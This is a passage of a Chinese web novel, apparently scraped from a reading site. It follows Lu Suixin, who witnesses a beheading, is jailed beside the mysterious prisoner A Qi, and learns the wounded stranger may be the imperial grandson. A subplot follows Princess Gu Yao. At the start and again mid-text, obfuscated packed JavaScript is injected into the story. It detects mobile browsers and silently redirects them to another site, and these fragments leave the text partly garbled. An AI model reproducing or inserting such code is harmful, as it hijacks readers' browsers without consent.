;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760874|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被云人追捕,才又是盖稻草,又是走小路?那……就是我们表现的机会来了呀!” 王大人越是推演越是兴奋。 刘一德对宫中八卦兴趣了了,只状似无意地拂过方才王大人拍过的地方,并不愿参与无谓的猜测。 陆随心则在一旁听得好笑,连带着方才的恐惧都消了不少。 王大人眉飞色舞的样子倒真像是说书先生嘴里那主公放个屁都能当天地精华满脸陶醉尽数吸取的手下。 陆随心的好奇心就这么悄悄爬过了其他纷乱的害怕与悔恨之情,占据了高地——这“半死不活”的玉佩主人究竟是何许人也? 那边王大人全然无法遏制,仍痴迷于一往无前地臆想自己得道升天之路,“一德啊一德,这可是千载难逢的好机会!我们,对,就是我们兄弟俩!若亲自把这人送到都城,岂不帮了那位爷大忙。轻则金银赏赐,重则加官进爵呀!一德!我俩的好日子来了呀!” “万一你猜错了呢?”刘一德依旧对王大人的白日空话兴致缺缺。 “玉佩你也看过了,是真的吧?不然还有谁敢往玉佩上刻这个字?那这事就错不到哪里去,给那位爷办事儿,总是能有好处的。”王大人把头凑到刘一德耳边,压低了声,带着点调笑之意,“听说前几年你死了老婆,这事儿成了,别说续弦,再纳一房都不是梦!” 刘一德显然被最后的提议冒犯了,他虚虚做了个挥开的动作,挪了两步到旁边,“等给他送到都城,人命都没了。” “那就……那就送到我家里,给他找大夫治病!然后我们先修书一封,送到都城。回头等他好了,我俩再亲自护送!” “我看,还是先把他们俩都弄回去,搞清楚状况再说。” “等等。”刘一德的油盐不进终于让王大人不乐意了,他把那枚玉佩握在手上,用粗壮的手指搓来搓去,来来回回地把玩着,就这么真的等了好一会儿,才吐出来一句,“你是不是又忘了,我才是你的上司?” 风里的味儿有些变了。 陆随心立刻把自己的呼吸放缓了,她想和推车里的黑衣客一样立马变成半死不活的状态,好逃脱突然被卷入这场即将爆发的争斗的危险,而不是如今这般被迫以生命为代价,占据了一场好戏的最佳观赏席位。 好在,眼前的两人暂时完全忘记了她的存在。 刘一德并不理会对面的威胁,而是毫不犹豫地转过身来直面上峰,“王通,那你的意思……是不准备按规矩办事了,一定要直接往都城送消息?一定要拿这块玉佩换钱?” “刘一德,你别在这儿假惺惺!你真不想挣钱可以,但别挡老子的财路!”王通面红耳赤地咆哮起来,手紧紧攥成拳头,在空中胡乱挥舞。 “我既问你,你痛快回答便是。”刘一德丝毫没被他的情绪影响,反而以一种沉静的语气又慢慢重复了一遍,“王通,你是不是一定要直接往都城送消息?一定要拿这块玉佩换钱?” “要你来质问?老子想干嘛干嘛!我今天就告诉你,对!这个钱老子挣定了!这块玉佩既然落到了我手里,怎么用那就是我的事!”他的拳头越挥越猛,几次在刘一德的眼前堪堪划过,就差没直接呼到脸上,“你再多嘴,老子明天就让你滚回老家种田!” 王通太过激动,一门心思想靠自己虚弱的地位和徒劳的威胁来抵抗刘一德的反对,以至于他根本无法冷静,也就无法看到陆随心看到的,那就是这场戏的结局。 在这位王大人说出“对”的时候,刘一德的手就伸过去按在了他的刀把上;当王大人的拳头挥起的时候,刘一德的刀刃已经出鞘;当“种田”二字的音节落地之时,白光混着血色在空中闪过。 陆随心下意识地紧闭住双眼,头也跟着往旁边偏去,当她再次睁开时,就看见一个黑乎乎的东西往下掉到推车上,又在木板的角那儿磕了一下,一路顺势滚到了她的脚边。 她什么都没想,定睛去瞧,就看到一张满是横肉的脸躺在泥草里,那双浑浊的黄眼瞪得大大的,在看着她。 是王通的脑袋。 4. 第 4 章 当陆随心从昏迷中醒来,看到的第一样东西就是乌漆墨黑的墙壁,上面凌乱着各种不成章法的白色划痕,很细很密,像是指甲留下的哀嚎。 鼻下飘来一股又腐又潮的霉臭味。 她立刻意识到自己的处境,撑起身子,果然看到所处之地空空如也,周遭三面围墙,而另一面则是缝隙四指宽的栅栏和紧紧锁起的门。 高处有一个巴掌大的洞,微弱的夜光透下来,照着陆随心身下简单铺开的薄薄稻草,角落里还有一个黑乎乎的拎带木桶。 这是牢房!她被关起来了! 她低头摸着身上,衣带完整,没有丝毫动过的迹象,心中略宽,便从地上爬起来,起得太猛太快,脑中汹涌摇晃,昏沉感让她扑向门锁的脚步狠狠趔趄了两下,却没打断她的呼喊,“啊,有人吗?有人在吗?” 没有任何回应。 周围的牢房都没有人,而门外长长的甬道则无窗无火,一片幽暗。 陆随心想起王通的脑袋、刘一德的刀……随后就是脖颈后面的重击,昏迷前的最后一幕是她被扔进了推车,压在了黑衣客身上。她还清楚记得硌得生疼的触感,和一声痛彻心扉又低不可闻的呻吟。 可同时,这一切又都像梦一样遥远和不真实,尤其是那咕噜噜滚过来的头…… 还有那张她一瞥而过记录着柳家秘事的残纸,无不在冥冥间暗示她,十二年的太平岁月已经走到了头。 不愿沉湎悲意中的陆随心将思绪拉回到眼前,又朝外头唤了一声,“喂……有没有人啊?!” 脸上的擦伤和腹部被踹的疼痛也从昏迷中复苏过来,断断续续喊了半个时辰以后,陆随心终于放弃,瘫坐回地上休养生息,好压抑住肚子里比她更大声的叫唤。 又疼又饿又累。 距离那一晚,到底已经过去多久了? 她不禁怀疑是不是自己从小给福圣王守香的时候心总是不够诚,这一遭,是他终于忍不出清了旧账来降下惩罚了? 否则,她为什么会遭到这些劫难? 突然,铁链互相摩擦的声音传来,随后是散乱的脚步声和一低一高的说话声,渐渐由模糊转为清晰。 “……不知……再给……加幅脚镣?” “……啥?你是头被打坏了?” “那倒没有,我的头还没那么脆弱。只是出于一些……考虑,若实在不方便,那便就这样罢。” “你!再在这儿胡诌信不信我再打你一顿?” 声音越来越近,陆随心能听到他们走下台阶,在甬道最远的转角处停下开门,她全程屏息,生怕错过一点,可越听却越糊涂,这似乎是狱卒和囚犯之间的对话,但内容实在叫人琢磨不透——哪有囚犯会主动要求戴脚链? “……不必……” 门轴吱嘎作响,把囚犯的声音全压了过去,显然这扇门经年疏于开合。 一点微光顺着门缝投进了地牢,火把微红的亮照了下来。陆随心试着把脑袋塞进缝隙里,想要提前看到远处的人影,可她只能把鼻子卡在那儿,腐木的朽味直冲天灵盖。 “不知这么多间,能否让我自行选择住处?” “你当是来客栈了?想住天字一号房?还是地字一号房?啊?赶紧给我往前走!” 陆随心终于听清楚了囚犯低稳的声音,竟分外耳熟,她拼命在记忆里搜刮它的主人身份时,人就已经走到了她的面前。 他一身黑衣,挺拔而立,两手虽被铁链拴住,却还是有种闲庭信步之感,像是来牢里游览的看客,而绝非什么受罚之人。 唯一能把他和这阴森之地联系到一块的,大概就是他脸上的淤伤了,一块青一块紫,实属惨烈。 是他! 陆随心几乎一眼就认出了他。 那人也看到了陆随心。 一切似乎回到了月下初见时的双双相望。 陆随心万分庆幸当时一打眼以为他是梦中侠客的误会只有她一人独自知晓,如此,她才可收敛心思,把胸膛里那点纠结起伏压下后统统咽进肚子,瞥开眼装作不认识这不知身犯何错也沦落定国的罪人。 狱卒弯着腰将对面的牢门打开后,朝那人道,“进去吧!……诶,叫你呢!” “哦,来了。” 不知是不是错觉,陆随心看到他在转身之前似乎唇角动了动,好像是在对自己笑。她不敢确定,也来不及想这事,因为她必须抓住眼前这唯一没被关起来的活人,想办法撬开自己的求生之路,“这位小爷!且留步!” 狱卒刚将那人推进牢里,把门上的链子锁好,闻言向背后转了过来,“干什么?” “我想问问,我所犯何罪?为何会被关于此地?” 眼前的狱卒一脸稚相,似乎押送犯人的任务完结给他长了些许得意,在原地站定颇为耐心地回答道,“你的情况我不清楚,是昨日刘大哥把你送来此处的。他什么也没说,你就在这儿等着吧。” “刘大哥?是刘一德吗?那还有一个黑衣服的人,和我一道的,他在哪儿?还活着吗?” “哦,那个重伤的流浪汉啊,送医馆了。”狱卒耸耸肩,不甚在意,“情况不是太妙,不过流浪汉么,多一个不如少一个。” 居然还活着?陆随心一时也不知该喜还是忧,她只知道不能放弃这根悬崖壁上垂下的唯一绳索,“刘大哥,我想见那位刘大哥!您能帮我通报一声吗?就说我有重要的事情同他说!就说我知道玉佩主人的下落!” “那不行。”狱卒摇头,一副爱莫能助的样子,“他不在这儿。”说完,摆了摆手就挪步往外走。 “等等,那他在哪儿呢?”陆随心把脸摁进木栅栏里头,想要自己的声音离他更近,“你别急着走呀。” 狱卒没回头,“他昨天就走咯,去长阳城咯。” “长阳城?长阳城是哪儿?得几天才能回来啊?”她把手臂伸出去,徒劳地向把人叫回来。 那声音越来越远,慢慢消失在了甬道的尽头,“长阳城就是长阳城呗,是咱们定国的都城,是皇帝待的地方。” 门轴的吱嘎声后,狱卒的脚步声便渐渐听不到了。 陆随心的肩沉了下去。 她想象着刘一德将玉佩换成了万贯财银、讨了老婆后,疤痕脸上露出难掩的笑容…… 呵,全是一丘之貉。 当然眼前的情况要紧急得多,那就是整座地牢里就剩了她和对面的黑衣人二号。 “咕噜噜——” 肚子不合时宜又叫了一声,陆随心朝着狱卒消失的方向有气无力又掩饰般喊了一句,“既是阶下囚,也是要吃饭的啊……” 她有些羞赧地转身背对着身后的人,仿佛他不存在。 跌坐到地上的陆随心幻想着眼前空荡的屋子里涌起烟雾,待白蒙蒙的气散去,滚热的清粥小菜凭空出现,等她去临幸。哦,最好再来几块酥糖饼,永京林家铺子的,刚出炉,皮焦焦脆脆的,里头则是软软糯糯,嚼起来满口香甜……她都十二年没吃到了…… 迷迷糊糊的吃食梦就此打断,陆随心胸中一片阴翳,她并不愿真的唤起童年家乡的回忆。 “啪——” 耳边疾风轻啸,陆随心前方地上掉落了一个暗黄色的油纸包,食物的香味在空中若隐若现,诱惑着她舌尖涎水不受控制地溢出。她猛转身往对过看去,那人正悠悠站在栅栏后头,戴着铁链的右手轻轻挥动,像在和她示好。 按理在这幽深的异国他乡,能有个一面之缘的人相伴,已勉强不算坏事,可陆随心却无法忽略那跳动的不安感,她不能忘记第一次遇见他时,心底泛起的李芸娘式的直觉,那就是最好不要靠近这个人,这辈子都不要。 他说话客气、举止从容,可那俊秀的眉眼背后明明全是不清不楚的意图,像深山里谁都不敢进的坑洞,对,就像那个洞,黑、冷、见不到底,可奇怪的是,山里的那个洞永远都有人不怕死地冲进去,今年消失一个明年就必会再多两个莽夫。 莽夫。 不怕死的莽夫。 她现在就是。 终是起心动念,忍不住和他说话了,“你扔过来的?” “是。”他微微颔首。 “从这个缝隙里扔过来的?”陆随心看着两边的距离,估量着其中的难度。 “对。” “这是什么东西?” “姑娘打开便知。” “我……”偏不打开。陆随心很讨厌故作神秘,可后面的四个字到底还是咽了下去,眼前的人又不是陆少疾,真那么和人家说话不免显得幼稚,倒像是她在地牢里不识抬举做假惺惺的娇嗔女了。 她弯腰把油纸包捡了起来,掀开看到是一团饼的碎屑,有那么几块还成样子的,能看到裹在里头的糖浆。陆随心觉着鼻头一冲,眼眶那儿竟湿润了,前一瞬还想着永京的酥糖饼,现在手里就有了,这戏法也太能唬人了,唬得人直胸口疼,“这……是酥糖饼?” “是酥糖饼。” 陆随心有点不明白这到底是发生了什么,她就抓起碎饼吃起来,想着也许饥饿能消失,这奇奇怪怪的感觉也就能随着一起消失。 “好吃吗?”那人看她吃得欢快,语气也跟着上扬。 “嗯……”其实并不好吃,这饼应该出炉好几天了,皮不脆了馅儿也不酥了,连糖浆都有些腻了,可不知道为什么,陆随心却吃出了多年前的味道,她含糊地答了对面的问题,转而问,“你在哪儿买的?” “几日前我凑巧路过永京,在那儿的一家店里买的。” 陆随心一下不敢咀嚼了,连眼眶都彻底干了。她想这人是在试探自己,于是低着头,不去看他,“永京,那你也是云国人?” “是。” “你叫什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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当然记得!不就是她被打昏前没多久的事儿吗!“记得,你在找谁?” “一个黑衣人。” “那个黑衣人是谁?” “不知。” “你为什么要找他?” “他拿走了一样东西。” “拿走一样东西?”陆随心的语调尖了几分。 “‘偷走’更确切一些。” 那枚玉佩和那份写着“成惠二十四年”的文书,哪样才是他在找的?如果是后者,柳家的事情会和他有关系吗?可是成惠二十四年他才多大?六七岁?六七岁能做什么?她无法抑制擂鼓的心跳,问,“是、是什么?” “姑娘没见到?” “……没。” “也不是什么了不起的东西,一张纸罢了。” “一张纸值得你这样紧追着他不放?从云国追到定国?” “没有那张纸也一样。” “你追到他后要怎么做?把纸抢回来?还是直接杀人灭口?” “看情况。嗯,抢回来。如有必要。” 陆随心反应了好一会儿,才明白他是在按次序逐个回答自己的问题。她以为他会顾左右而言他,甚至说些冠冕堂皇的大道理,可说起杀人,他竟理所当然到就像在讨论吃食和天气。 陆随心感到害怕,他真的不是什么好人。 她深觉自己应该立刻闭嘴,噤声,再退后三尺,可她还是用左手抓住了自己微微发抖的右手,问了下一个问题,“那你……知道纸上写的什么内容吗?” “知道。”他意味深长地看过来。 陆随心想到李芸娘被自己驳成“无稽之谈”的猜测,原来竟一点都不离谱。 她到底是猜对了。 这一切都和十二年前有关。 那些封锁已久的回忆终究还是被打翻了一地。 成惠二十四年,也就是十二年前,是她在永京居住的最后一年。 那一年,十岁的她失去了所有家人。 在她逃亡的途中,柳家宅子走水的消息传来,他们说那漫天火光烧了整整三天三夜,他们说那火就像条龙一样蹿到了天上,他们说到处劈啪作响一靠近人都要化了,他们说是有奴仆忘灭了一盏灯,他们说柳家的人全死在了那场大火里,他们说尸体全是可怖扭曲的焦炭,他们说这奴仆真是该千刀万剐。 他们说……他们说…… 他们说得唾沫横飞说得手舞足蹈。 可他们谁也没说,柳家的女儿跑了出来。只有她知道,人不是烧死的,而是被杀死的。 被刀劈被剑戳,被扼断了脖子被揍出了屎尿与脑浆。 也只有她,逃过了这一劫。 她不敢再问了,她怕他是来追杀的恶鬼,也怕他是那个能吞灭人心的黑山洞。 5. 第 5 章 这一日的桑凌,胸膛里满是怦怦跳的喜悦,手中提篮的重量丝毫压不住她嘴角蔓延的笑意。一半是为着再一次圆满完成了自家主子交待的任务,一半是为了头上那新得的珠花头饰。 直到傍晚,她才哼着小曲,迈着几近跳起来的小碎步子从偏门回到了府上。 晚饭时间已过,桑凌知道去何处能找到主子,她穿过楼台水榭的庭园,拐上卵石铺就的雅道,又踩着细雕花纹的青石板,越过了一根根红漆杉木的梁柱。顶头一盏盏灯照亮了她绸布白鞋下的路。 “砰——” 走到转弯处的桑凌不幸撞上了相向而来的人影,篮子砸地,里头的东西全洒了出来。 “哎呀。”桑凌顾不及去看清对方的身份,而是蹲下去急慌慌地在一地的零碎中寻找着某样最要紧的东西,可她却在地上看到了一些不属于她篮子里的东西,那是些精雕细琢过的木块,长的、方的、折角的。 桑凌一下子清醒过来,知道自己惹了大祸,吓得抽回了手,赶紧伏地低头,“奴婢见过王爷,奴婢冲撞了王爷,奴婢该死。” “无妨,起来吧。”站在她面前的是个身形瘦削的男子,一双桃花眼漾着春光,偏又配着格外挺立的鼻子,柔中带毅,脸白唇浅,身上是素净的浅色便服,黑灯瞎火里都能瞧出那料子的精细柔软。 他蹲下去,没有顾自己那些木块,而是率先将婢女桑凌的篮子扶起,又替她把东西一一捡了回去。 “奴婢惶恐,还请王爷起身。”在宫廷里待了大半辈子的桑凌自然清楚绝没有让主子动手帮忙的理,她赶忙将地上的瓶瓶罐罐一股脑地捧起,悉数倒回篮子,见男子没理自己,还在那儿捡拾,又伏地了身子,惶恐道,“静王爷,可别折煞奴婢了。” 静王这才停了动作,不再帮她,可他还是没起身,而是抓起一个小瓷瓶,随口道,“又是给王妃买的市井玩意儿?” “回王爷,是。”桑凌一边瞄着篮子,想确认堆成小山的物事里头有没有那件要紧之物,一边又用早先准备好的说辞,恭敬地替自家主子解释,“王妃说,定国的脂粉也好、零嘴也罢,和云国的都不一样,有趣得紧。” “哦?那这个是什么?”静王将瓷瓶拿到她跟前,突然多了三分认真的探究之意。 桑凌胸中擂鼓,微微抬眼瞧去,脑袋里的思绪突然打了结,连声音都有些紧了,“这个是……是……” 这不过是她为了在篮子里藏木于林,随意在杂货铺子买下的遮掩物之一。她给了老板一两银子,问他够不够把篮子装满,老板就咧开了嘴把她的空篮子接过去,还之这篮子瓶罐零碎。 作为采买者,可以说桑凌对这里头有些啥,是绝对的一无所知。 “瞧把你吓的,本王还能抢王妃的东西不成。”静王笑着将瓷瓶抛回篮子里,起了身,站到一侧,却没有挪动脚步,就那么站着,晦暗不明的脸色在灯笼火光的照耀下现出几分骇人的威严。 这个在定国上下嘴里都软弱可欺的静亲王,这个在王权争夺里早早败下阵来安居一隅的三皇子莫楚瑛,却在桑凌面前,露出了他罕见的真实面目。 饶是外头如何言语,在王府里,他就是唯一的主子,每一寸土、每一片叶都是他的,在他面前,绝不该有任何秘密。 桑凌知道自己一时扯不出谎的犹豫成了一种对静王权威的无声挑战,她扑到了地上,额头重重磕了下去,发出闷响,“是奴婢嘴笨,奴婢罪该万死,还望王爷责罚。” 不过片刻前的欢愉早就烟消云散了,桑凌的眼中溢出了属于一个无根无萍的奴婢的恐惧的泪水。 “行了,真罚你,阿瑶可不会放过我。”莫楚瑛低头看着桑凌微微发抖的后脑勺,语气中带着一点厌倦,“把本王的东西捡起来吧。” 桑凌又磕了一记头,才敢起身把那些零碎的木块一一归拢,用双手捧过自己的头顶,高高举起,“奴婢撞坏了王爷的东西,奴婢……” “本王正愁不知如何拆开这八卦锁。”莫楚瑛并没有去接桑凌手中的被撞开的木件,而是任她纤细的手臂为了伸直在那儿不断微摇微晃,慢悠悠等了一会儿,才说道,“你去把东西送到王妃那儿吧,叫她随后来庭院见我。” “是。”桑凌又跪在原地好一会儿,等静王走过,脚步声去得远了,才把七零八碎的八卦锁也一股脑丢到篮子里,这才有功夫去找那样顶顶要紧的东西,可当她将周遭每一寸土地都搜索了三遍有余都不见其踪迹之后,桑凌终于绝望地确认了一件事,主子交给她的任务,终究还是没能完成。 她整个人垮了下来,泪水扑簌簌地从眼眶里涌出来,好一会儿才从地上起来,垂着头,走进了府邸西北角那幢楼的二层,在最里头的屋子门口叫了一声,“公主。” 一时间,桑凌并未看见自家主子,只看到窗户上的剪影,一个简单发髻、一根簪子,大半头发垂在肩上,手上的那支笔正上下翻飞。转过头去,才见到了她在灯下的正脸,清清淡淡,未施半点脂粉,满目坚毅,明明是在写字,却好似要上沙场作战的女将军。 “公主。”桑凌又唤了一声,轻轻走到桌前。 顾瑶这才听见,把笔放下,抬头就见到一张泪脸,忙问,“怎么了?怎么哭了?” 桑凌把篮子提起来,把方才的事情简略说了一遍,眉眼低垂,“奴婢笨拙,惹了静王不高兴。” “他才没那么容易不高兴。”顾瑶笑了,将自己的绢帕递过去要桑凌擦擦脸,又把八卦锁拿了起来,左右看看,“他这是借你敲打我呢。” “桑凌不明白。”虽说不明白,可背后若有其他原委,桑凌便免不得为自己实则没闯下祸端的真相而松了半口气。 “前阵子永宁帝寿诞,宫中摆宴,我不是以王爷的名义,给送了点云国的有趣玩意吗,表表孝心。害得他被他父皇点名到跟前,赏了几样宝贝,这不,他便同我闹别扭了。”顾瑶一边说着,一边顺手就又将手里的八卦锁拼了起来,不过眨眼的功夫。 “这不是天大的好事吗!那两天府里上下都跟着沾光,可开心了!这王爷为何要同你闹……闹别扭?”桑凌将主子的绢帕攥在手里,却全然顾不上脸上的泪痕。 “天底下没有哪个男人能容忍妻子的欺瞒和僭越。”顾瑶往自己的书桌看去,眼沉如夜,那个她从家乡带过来的云纹刻木笔筒里,除了几支狼毫笔外,还插着一根突兀的箭头,箭头锃亮,上头几乎没有划痕。 桑凌自然认得这个箭头。 那时顾瑶作为和亲公主从云国远嫁定过,成了刚成年却还未封王的三皇子的正妻,也就顺势掉入了这龙潭虎穴里。 对上这无权无势的皇子,定国的公卿贵胄不便多语,冷眼相看视若无睹自是,可这臣下小国来的“贡品公主”,带着十里红妆跪求联姻的一介女流,这般大展吾国优越的机会焉能放过。 那些个名门家的女眷,寻着机会便在这新来的皇妃面前大放厥词,嘲讽羞辱她不懂定国礼仪,言及云国又话里话外说那儿的人都粗鄙不堪,似乎是把谁能先惹怒这个皇妃当做了私下的有趣较量。 可顾瑶从来都只是低眉静听,不作无畏的争辩,眼里却永远是一股不卑不亢的劲。 那一日是秋狩前的大聚,男儿郎都在校场上骑马射箭,为即将启程的十日围猎之行练手。 皇长孙一如往常是所有人注目的主角,突发奇想要提前来一场射箭小比赛。 所有女眷在旁观看,给场上摇旗呐喊。 公子哥们则意气风发,一一上前轮番往靶心射击。 轮到三皇子莫楚瑛的时候,他百般推辞,明眼人都知道他连弓都拉不开。也不知道是哪家的姑娘,悄悄地凑到顾瑶的耳边,说了句不知廉耻的话,“三皇子这般,怕是床帏之下也难支棱起来吧。” 更有人在身后添油加醋。 “我听说云国人就是连射箭都不会的,这样一想,三皇子这段姻缘倒也真是天作之合。” “此话怎讲?” “谁也不敢笑话谁咯。” 桑凌不知主子那时候心里是如何气愤,但她必然是忍到了极点,才会在一众夫人小姐面前拂了袖,推门而去。 那些夫人妃子都当是抚到了荷塘鲫鱼的逆鳞,以为终于将她惹到了,能再给她按一个目无尊长不知礼数的臭名。 可她却走进了一众男人所在的校场,在众目睽睽之下走向了被围着的莫楚瑛身边,将自 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桑凌每每想起那一箭,都深感大快人心,“可是公主,无论是那时,还是现在,你做的所有事情,都是对王爷有百利而无一害呀。” “不是那么简单的。”顾瑶也将目光收回,轻轻摇头,不愿再作解释,一打眼看到了桑凌头上的珠花头饰,“新买的?很是漂亮。” “啊,嗯……谢公主夸奖。”桑凌有些不自在地转开了泛起薄红的脸,又从钗子转念想到自己今日一败涂地的任 务,额头顿时现出几道纹,“但是那颗珠子……珠子还不知落在哪儿。” “你不是说掉的地方没找到吗。” “我……桑凌来来回回找了好几遍,确实没见到。”她一双手在胸前上下挥舞,急切地想证明自己一片忠心,“但桑凌保证,进府的时候,绝对就在篮子里。” “知道了,我大概明白落在哪儿了。不妨事,你下去休息吧。” “公……” 门外突然传来利物破空之声,随后是“叮——”的一声响,把桑凌的话统统吓回了嘴里。 主仆二人对视一眼。 顾瑶做了个手势,让桑凌留在原地,自己则推门出去。 外头的走道里空无一人,甚至空无一物,只有梁上悬挂的灯火在微风中摇曳,不见人影,半点活物的气息都闻不到。 除了那突然跳进顾瑶视线边界处的一样异物。 她抬起头,看到一把短刀深深扎进了面前的杉木柱子里,刀下扎着一张叠起的字条。 “公主,是什么动静啊?”桑凌压低了声音,蹑手蹑脚地跟了出来。 顾瑶把短刀和字条都取了下来,展开就看到结尾有一个熟悉的标记,她闪了几下眼睛,声音也低了下去,“刘一德的消息。” “啊,是那边出什么事儿了吗?” “是,出事了,大事。”顾瑶走到桌前,把纸条点燃,“桑凌,你快去帮我收拾几件衣物,我要出趟远门。” “是。”桑凌转身刚往里屋走了两步,又折回来,“王爷那边怎么办?他喊公主你去庭院相见呢。” 顾瑶垂下眼,似乎没听到桑凌的问题,只是静静看着火焰吞没纸条又吐出灰烬,像欣赏一出戏般专注。 等到灰烬在桌上铺出毫无章法的图案,顾瑶才回过神,她把八卦锁递过去,“等我走后,你把这个交给王爷,替我好好赔个不是。” 她说得轻巧,心里却不似面上镇静。 此行必然凶险。 “是……”桑凌接了过来,但想到方才的事情,不禁有些发憷,眉毛拧起来了。 见她这般,顾瑶微叹了口气,又回到桌前,想了一会儿,提笔写字,一气呵成,放下笔后叮嘱,“把这信也一同交给他,我保他不为难你。” 桑凌偷偷瞄了一眼,脸霎时红了。 可自家主子却还是满脸肃穆,眉头里甚至藏着愁绪,丝毫看不出她是以什么心情写下了这毫无半点矜持的轻狂孟浪之句。 那纸上面只有寥寥十个字。 “思君朝与暮,不忘为君归。” 6. 第 6 章 陆随心确信了一件事,阿柒是一个非常安静的人。 你不同他说话,他往往就不和你说话。 如果不是陆随心时常忍不住往那边看去,亲眼确认他真的还戴着镣铐依墙坐着,她真的以为,这地牢里只有她一个人在呼吸。 而她决意不和阿柒说话的自我承诺也在立下的第八个时辰后就被轻易打破了。 那是关在这里的第二天,日光从头顶墙壁上的窄洞里落进来,照出了一片久违的亮。 狱卒大约是终于想起了他们是两个需要进食的大活人,送来了两碗稀薄的碴子粥,陆随心几乎是以迅雷不及掩耳之势就让自己那碗见了底。 狱卒不知是不是没见过这般不知腼腆的女人,皱着眉看了她好几眼,才把那碗收了去,回过身又去催另一个,用刀柄敲得栅栏嘣嘣响,“快点吃,一个大男人,吃饭细嚼慢咽的,还比不上人家一个女娘子。” 狱卒走后半个时辰,陆随心意识到了形势危急所在。 她这二十多年的人生里,睡过破庙、吃过馊饭、喝过泔水、也在田间稻谷的掩护下解决过大小的问题,可她从来没有在一个男人目之所及的地方解开过自己的衣袍。 当陆随心盯着墙角那个带盖儿的木桶,陷入了可谓呱呱坠地以来的最大危机——人有三急! 她忍了足足两个时辰,从日头照在墙角稻草开始,生生忍到了那光爬上门上的锁。从开始的蹲坐、踱步、跺脚、抓头,到后来在丈宽丈长的地牢里一圈圈地走,甚至也忍不住往墙上用指甲抠出一道又一道的白痕后,她屈服了。 她看向了对面的牢房,并宽慰自己,只要不暴露自己是柳家后人的身份,就不会有危险。 说到底大家都是牢里的囚犯,他又能奈自己何呢? 于是对着那分不清是在闭目养神还是白日做梦的人,陆随心试探性地开口,“……阿……柒?” “何事?”他回得很快,双眼却是慢慢睁开。 “你我同是云国人,异国老乡,又机缘巧合关在同一地牢,勉强算得上是一条船上的……”她把所有的恐惧都藏在了心底的最深处,装作什么都不知道的样子,胡扯着一些拉近关系的好话。 “勉强?”靠着侧墙的阿柒把头转了过来,语气里竟是带着非常真实的疑惑。 这一次,陆随心已经习惯了他的错抓重点,从善如流地改口,“你我现下就是一条船上的,不知能否……帮个忙?” “姑娘请说。” 陆随心闭着眼说了。 当阿柒听完她的要求,一句话都没说,便迅速站起身来,朝着最远的那面墙走过去,几乎把整个身子贴在了上面,随后他还主动将铁链锁住的双手举起,一边一个堵住了耳朵。 地牢里整个安静了下来。 只要他有一点动作,铁链就会相击摩擦发出声响。 昨晚还在惊疑眼前之人是洪水猛兽的陆随心被此刻的宁静冲破了一点防线。 羞耻心是个挺奇妙的东西,一旦在某人身边进入过一个毫无防备的时刻,而没有受到一点伤害,甚至被这个人帮着守住了尊严,那么,至少就很难把他当成彻底的敌人来对待了。 陆随心收拾好自己,在远离木桶的角落坐着,开始思考眼下的处境,就这么过了许久许久,全程保持纹丝不动一直像石头站立的人才慢悠悠地问了一句,“姑娘,请问,在下可以转身了吗?” 那大概是他头一次主动和自己说话。 “哦,可以了可以了。”陆随心这才想起,自己光顾着思考两人的关系,而忘了面壁的本尊。 她忙把自己背转过去对着他,就怕直视他时尴尬的绯红会爬上自己的脸。 半天没有动静,陆随心才想起人家堵着耳朵,就又放大了声量,高喊,“可!以!了!” 身后传来铁链的晃动和衣服摩挲的轻微声响。 然后,阿柒居然又主动和她说话了,“姑娘再忍一忍,最少十天,最多半个月,就会有人来找我们。” 阿柒说话的口气,好像他对眼下发生的一切都了如指掌,可他从来也没问过,陆随心怎么会沦落到此地。 而对待这种毫无证据也就没有安慰之用的揣测,陆随心一时不知该作何反应,可她毕竟还有很多次三急的时候,还得仰仗着他“面壁”相救,总不能真的不把人家的话当一阵风空吹过,就学着说书先生的语气给了他个台阶,“哦?是吗?” 反倒是忽略了这句话里用的是“你”,而不是“我们”。 “是。”他回。 “何以见得呢?”这斩钉截铁的语气终是惹急了陆随心,不问不行,她也顾不得方才的事情,转过去又看向了他,想看看他能编出个什么理由来。 “马。” “马?……咳。”陆随心差点破音,随后立刻决定要将自己从对方“故弄玄虚”的摆布中撤退出来,不被他牵着鼻子乱走。 “从这儿到长阳城,骑快马一个来回十天便够。坐马车则要久一些。” 他说得就像是只要刘一德从长阳城回来,这一切就能结束。 陆随心不信,她倒觉得自己的颈上人头能不能保住,全看玉佩主人能不能活过来。思及此,她便问阿柒,“你不是云国人吗?为什么对定国情况这么熟悉?” “知己知彼。”阿柒说这句话的时候,目光是看着自己手腕上的铁链的。 陆随心根本没在意这句话的真正用意,她只是急于抛出自己真正的问题,“既如此,那你知道’翊’这个字在定国代表什么吗?” “翊?” “翊。”其实她只是当时听王通说了一嘴,依稀记得是这个字。就是玉佩上的这个字惊住了他们两人,好像黑衣客是个了不得的权贵之人。 “莫子翊?” “莫子翊……是谁?”她的胸膛里热了起来,那颗心正在怦怦直跳,等待着她即将随之尘埃落定的命运。 她知道结果必然好不到哪儿去,毕竟整个定国都是莫家的天下。 “莫子翊,是定国的皇长孙,永宁帝莫隆正的孙子,太子莫楚明的嫡长子,大将军霍因的外孙,定国皇位的第二继承人……” “可、可以了。”饶是做了准备,在第一个身份从阿柒嘴里说出来的时候,陆随心就还是如坠冰窖,她手冷脚寒、头皮发麻,为自己所卷进的惊天大祸感到无处可逃的惧意。 那个黑衣人是定国的皇亲国戚? 皇长孙?那不就是未来的皇帝? 她这是真摊上了比天还大的事!要掉脑袋的大事! 转念一想又冷静了七分。 就算定国皇长孙真的死了,她陆随心充其量不过是个抛尸的,不对,不是抛尸,而是把重伤的他送回定国的功臣!他们真要算起账来,求个血债血偿,眼前这 